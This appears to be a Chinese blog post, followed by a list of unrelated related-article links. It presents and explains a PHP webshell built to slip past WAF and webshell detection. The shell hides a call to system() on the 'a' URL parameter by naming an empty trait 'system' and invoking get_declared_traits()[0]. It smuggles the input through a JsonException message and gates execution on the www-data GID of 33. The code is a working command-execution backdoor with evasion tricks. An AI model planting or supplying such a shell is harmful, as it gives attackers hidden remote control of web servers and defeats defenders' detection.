当前位置: 首页 > news >正文

bypass webshell--Trait

1 trait

源码

<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){$i++;if($i<33 || $i>=34){continue;}$c=$a->getMessage();print(get_declared_traits()[0]($c));
}

JsonException这个一看就知道是处理异常的一个语句,一般到了异常类污点追踪就会停止,就会跳转到异常处理,进入异常,try....catch之类的,但是他并没有进入这个异常,就是没有进入catch处理,没有写这个,因为我拿的是www-data的权限,GID为33,所以循环里面判断的就是是否为www-data的权限,getmygid可以获取我的用户权限的GID,当获取到33时就跳出循环执行以下代码:

 $c=$a->getMessage();print(get_declared_traits()[0]($c));
}

这个代码他将a-》get到的值传递给了c,然后get_declared_tarits这个函数他是获取trait这个的所有定义的东西,也就是system,然后循环会扰乱waf的判断我觉得,因为我前面就获取到了GID为33,但是我的循环体是递增2,但是又是i++,所以当等于33时就会跳出,但是其实整个循环体循环完是34,只是先进行了赋值判断,再+1,不知道这个想法对不对

PHP 5 >= 5.4.0, PHP 7, PHP 8)

get_declared_traits — 返回所有已定义的 traits 的数组

说明:

get_declared_traits(): array 

  • getmygid()获取当前进程的组ID,通常返回一个整数值。
  • 循环从0开始,直到达到组ID值。
  • 内部条件if($i<33 || $i>=34)确保只有当i等于33时才会执行后续代码。

测试

对于我上面的想法我通过查阅发现明显不对:

  • 循环会执行很多次(直到 $i 增长到超过 $arr),但几乎所有迭代都会触发 continue,只有 一次 可能执行后续代码(当 $i 恰好等于 33 时);
  • 但 $i 是按步长 2 增长的(0→2→4→...→32→34→...),永远不会等于 33(32 之后直接到 34),所以 continue 之后的代码 永远不会执行
  • get_declared_traits()[0] 获取的是前面定义的空 trait system
  • trait 是 PHP 中用于代码复用的机制,不能像函数一样被直接调用(如 system($c) 是错误的,除非 system 是函数名(恰好就是函数))。

结论

当 $arr = 33 时,$i 会在值为 32 时进入循环体,内部自增到 33 后,因不满足 continue 的条件,从而执行了循环体中 “本以为不会执行” 的后续代码。之后循环更新使 $i 变为 34,导致下一次循环条件不成立,最终跳出循环。

这也解释测试现象:看似 “走不出去” 的循环,实际上在 $i 递增到 33 时,会执行一次后续代码,再通过循环更新退出循环。

http://www.dtcms.com/a/339353.html

相关文章:

  • canopen 初体验
  • 【qml-4】qml与c++交互(类型多例)
  • 配置nginx以支持http3
  • rabbitmq发送的延迟消息时间过长就立即消费了
  • Maven的三种项目打包方式——pom,jar,war的区别
  • 微算法科技(NASDAQ: MLGO)研究利用PBFT中的动态视图变换机制,实现区块链系统高效运转
  • 股指本周想法
  • 区块链 + 域名Web3时代域名投资的新风口(下)
  • 使用 Docker 安装长安链管理平台 + 部署长安链
  • DL00291-联邦学习以去中心化锂离子电池健康预测模型完整实现
  • Transformer实战(13)——微调Transformer语言模型用于文本分类
  • 操作系统:多线程、进程管理、内存分配、任务调度等
  • Gemini CLI 详细操作手册
  • ECC升级S4,AVL自定义GUI 状态无法显示全选和取消全选按钮
  • Matplotlib数据可视化实战:Matplotlib基础与实践-快速上手数据可视化
  • 学习嵌入式的第二十一天——数据结构——链表
  • 08.19总结
  • 豆包1.5轻量版 vs Gemini 2.5闪存版:生成5000字深度文章,哪个模型更合适?
  • 玳瑁的嵌入式日记D20-08019(数据结构)
  • audio接口的技术发展
  • Java技术总监的成长之路(技术干货分享)
  • 昆仑万维SkyWork AI技术发布周:多模态模型的全面突破
  • 记一次 .NET 某自动化智能制造软件 卡死分析
  • 一条 SQL 语句在 MySQL中的执行过程。
  • Python网络爬虫全栈教程 – 从基础到实战
  • 【INOUT端口】
  • HarmonyOS 中的 setInterval的基本使用
  • openssl生成自签名证书的方法
  • 飞算JavaAI颠覆传统:SpringBoot项目开发效率革命实录
  • 基于uni-app的成人继续教育教务管理系统设计与实现